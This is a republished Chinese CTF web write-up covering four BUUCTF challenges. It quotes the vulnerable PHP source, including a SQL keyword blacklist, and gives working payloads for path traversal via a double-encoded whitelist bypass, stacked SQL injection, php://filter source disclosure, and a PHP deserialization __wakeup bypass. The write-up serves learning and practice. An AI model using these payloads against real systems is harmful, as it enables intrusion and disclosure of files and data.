热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

从零开始的CTFer成长之路–Web篇

本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览2021-5-12[HCTF2018]WarmUp-出自BUUCTF打开页面发现有张图片

本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览


2021-5-12


[HCTF 2018]WarmUp - 出自BUUCTF

打开页面发现有张图片 我们直接查看源码分析















可以看到存在页面: source.php 访问可以直接看到源代码 其中

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)

定义了三个条件

1.不允许为空
2.必须为字符串
3.通过checkFile()函数校验

接下来分析checkFile()函数:

class emmm //定义emmm类
{
public static function checkFile(&$page) #//将传入的参数给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明变量$whitelist数组
if (! isset($page) || !is_string($page)) { //若$page值为空或者$page不是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //若$page值存在于$whitelist数组中
return true;
}
$_page = mb_substr( //截取$page字符串?前面的部分,若无则截取整段$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

$whitelist = ["source"=>"source.php","hint"=>"hint.php"] 定义了hint的参数只能为source.php或hint.php

我们在source.php后面跟上?file=hint.php 页面返回结果

flag not here, and flag in ffffllllaaaagggg

可以知道flag文件的文件名为ffffllllaaaagggg

其中 urldecode()对$page进行了解码后再次截取了?前的内容并且赋值给$_page

$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

我们可以通过这个函数绕过白名单检测,将?编码两次后的结果%253F作为参数拼接出payload

http://5bc874fd-f511-4f3f-91eb-6fac30058d51.node3.buuoj.cn/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg

FLAG : flag{34643d71-22e7-4c62-bcd1-8245dc2e813a}




2021-5-21


[SUCTF 2019]EasySQL - 出自BUUCTF

我们首先进入页面 对注入点进行测试 输入数字页面回显数组



尝试输入字符串页面没有回显



输入注入语句页面返回Nonono.



尝试堆叠注入 构建语句查询数据库

1;show databases;



同理构建语句查询当前使用的库下的所有的表

1;show tables;



尝试使用show columns查看flag表内的数据

1;show columns from Flag;#

发现from被屏蔽了 页面返回Nonono.

多次尝试无果 在writeup内找到网页源代码

session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>




Give me your flag, I will tell you if the flag is right.






if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
|readfile|where|from|union|update|delete|if|sleep|extractvalue|
updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}

?>

我们找到注入点的语句

select ".$post['query']."||flag from Flag

语句会创建query传来参数的字段与结果一起查询





构建语句 查询表中所有结果 在网页中返回flag值

select *,1||flag from Flag



flag{d6a4e191-b241-44b2-8132-b4bbf9968a52}




[ACTF2020 新生赛]Include - 出自BUUCTF

打开页面点击tips看到URL对flag.php页面进行了包含



进行多次尝试包含上级目录的是否存在flag文件无果转换思路 通过php伪协议查看当前页面源码 构建语句

file=php://filter/read=convert.base64-encode/resource=flag.php

网页返回base64加密后的源码



解码后发现网页源代码内就存在flag

>>> import base64
>>> str ="PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTNmNGY0YjUtNTdkMy00ZDViLWEzMTQtMzQ1ZTIxODU1MmFhfQo="
>>> base64.b64decode(str)
b'>>>

flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}




2021-6-01


[极客大挑战 2019]PHP - 出自BUUCTF


知识点:PHP反序列化


我们首先打开页面看到提示存在备份文件,使用目录扫描工具扫描

得到压缩包www.zip 查看压缩包下存在三个页面



  • index.php - 主页



  • class.php - 主页包含页面



  • flag.php - 存在错误Flag的无用页面



在index.php看到源码

include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

对页面class.php进行了包含 并且接受传入反序列化后的select参数

接下来分析class.php页面

class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "
NO!!!hacker!!!
";
echo "You name is: ";
echo $this->username;echo "
";
echo "You password is: ";
echo $this->password;echo "
";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "
hello my friend~~
sorry i can't give you the flag!";
die();

}
}
}

可以看到当传入参数username='admin'且password=100时,执行__destruct()方法将会得到Flag,所以我们构建序列化参数

class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
var_dump(serialize($a));

保存代码后执行 获得序列化后的数据

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在传入参数前还需要注意__wakeup()魔法函数 在这顺便贴一下常见魔法函数:

__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用

__wakeup()魔法函数实际上是可以跳过的,当反序列化字符串时,属性的个数大于实际属性个数时,例如:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
0 代表对象名
3 代表占三个字符
Name 类名
3 代表3个属性
s 数据类型string
Nameusername 类名+属性名

在传入数据之前我们还需要注意Name类中声明字段时,使用private声明的私有字段,*private修饰变量时为x00类名x00变量名 但是在构建脚本时x00会报错,所以用%00来填充,根据已有信息,构建payload获得Flag

[URL]?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

flag{8ed20c73-6cc3-4082-b5d2-121ec8c64f65}




原文链接:https://www.cnblogs.com/night7i/p/CtfWriteUp.html



推荐阅读
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文介绍了在Python3中如何使用选择文件对话框的格式打开和保存图片的方法。通过使用tkinter库中的filedialog模块的asksaveasfilename和askopenfilename函数,可以方便地选择要打开或保存的图片文件,并进行相关操作。具体的代码示例和操作步骤也被提供。 ... [详细]
  • PHP图片截取方法及应用实例
    本文介绍了使用PHP动态切割JPEG图片的方法,并提供了应用实例,包括截取视频图、提取文章内容中的图片地址、裁切图片等问题。详细介绍了相关的PHP函数和参数的使用,以及图片切割的具体步骤。同时,还提供了一些注意事项和优化建议。通过本文的学习,读者可以掌握PHP图片截取的技巧,实现自己的需求。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • Android中高级面试必知必会,积累总结
    本文介绍了Android中高级面试的必知必会内容,并总结了相关经验。文章指出,如今的Android市场对开发人员的要求更高,需要更专业的人才。同时,文章还给出了针对Android岗位的职责和要求,并提供了简历突出的建议。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 也就是|小窗_卷积的特征提取与参数计算
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了卷积的特征提取与参数计算相关的知识,希望对你有一定的参考价值。Dense和Conv2D根本区别在于,Den ... [详细]
  • 嵌入式处理器的架构与内核发展历程
    本文主要介绍了嵌入式处理器的架构与内核发展历程,包括不同架构的指令集的变化,以及内核的流水线和结构。通过对ARM架构的分析,可以更好地理解嵌入式处理器的架构与内核的关系。 ... [详细]
  • 本文比较了eBPF和WebAssembly作为云原生VM的特点和应用领域。eBPF作为运行在Linux内核中的轻量级代码执行沙箱,适用于网络或安全相关的任务;而WebAssembly作为图灵完备的语言,在商业应用中具有优势。同时,介绍了WebAssembly在Linux内核中运行的尝试以及基于LLVM的云原生WebAssembly编译器WasmEdge Runtime的案例,展示了WebAssembly作为原生应用程序的潜力。 ... [详细]
  • 本文介绍了如何使用PHP向系统日历中添加事件的方法,通过使用PHP技术可以实现自动添加事件的功能,从而实现全局通知系统和迅速记录工具的自动化。同时还提到了系统exchange自带的日历具有同步感的特点,以及使用web技术实现自动添加事件的优势。 ... [详细]
  • Monkey《大话移动——Android与iOS应用测试指南》的预购信息发布啦!
    Monkey《大话移动——Android与iOS应用测试指南》的预购信息已经发布,可以在京东和当当网进行预购。感谢几位大牛给出的书评,并呼吁大家的支持。明天京东的链接也将发布。 ... [详细]
  • 基于layUI的图片上传前预览功能的2种实现方式
    本文介绍了基于layUI的图片上传前预览功能的两种实现方式:一种是使用blob+FileReader,另一种是使用layUI自带的参数。通过选择文件后点击文件名,在页面中间弹窗内预览图片。其中,layUI自带的参数实现了图片预览功能。该功能依赖于layUI的上传模块,并使用了blob和FileReader来读取本地文件并获取图像的base64编码。点击文件名时会执行See()函数。摘要长度为169字。 ... [详细]
  • PL2303HXD电路图(USB转UART)介绍及应用
    本文介绍了PL2303HXD电路图(USB转UART)的特性和应用,该电路图可以实现RS232和USB信号的转换,方便嵌入到手持设备中。PL2303HXD作为USB/RS232双向转换器,可以将USB数据转换为RS232信息流格式发送给外设,并将RS232外设的数据转换为USB数据格式传送回主机。通过利用USB块传输模式和自动流量控制,PL2303HXD能够实现更高的数据传输吞吐量比传统的UART端口。 ... [详细]
author-avatar
爱在明天2502870673
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有